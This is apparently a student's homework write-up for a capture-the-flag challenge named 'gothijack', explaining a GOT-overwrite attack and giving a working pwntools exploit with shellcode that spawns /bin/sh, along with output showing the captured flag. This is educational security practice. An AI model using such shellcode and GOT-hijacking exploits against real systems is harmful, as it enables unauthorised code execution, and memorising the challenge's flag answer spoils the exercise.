hw2

0410788 CHING-WEN CHENG

October 14, 2017

Contents

1 Homework2

1.1 gothijack

no nx & PIE, we can insert shellcode to global variable <name> and at the second input write <puts> got to <name>'s address, so when the last puts is called, shellcode is executed.

1.1.1 Code

```
from pwn import *
context.arch = "amd64"
puts_got = 0x601020
buf = 0x6010a0
payload = b"\x00" * 8
shell = asm("""
call main
.ascii "/bin/sh"
.byte 0

main:
  mov rax, 59
  mov rdi, [rsp]
  mov rdx, 0
  mov rsi, 0
  syscall
""")
r = remote("csie.ctf.tw", 10129)
r.recvuntil(":")
r.send(payload + shell)
r.recvuntil(":")
r.sendline(hex(puts_got))
r.recvuntil(":")
r.sendline(p64(buf+8))
r.sendline("cat /home/‘whoami‘/flag")
f = r.recvline()
print(f)
```

```
[x] Opening connection to csie.ctf.tw on port 10129
[x] Opening connection to csie.ctf.tw on port 10129: Trying 140.112.31.96
[+] Opening connection to csie.ctf.tw on port 10129: Done
b’FLAG{GOTHiJJack1NG}\n’
[*] Closed connection to csie.ctf.tw port 10129
```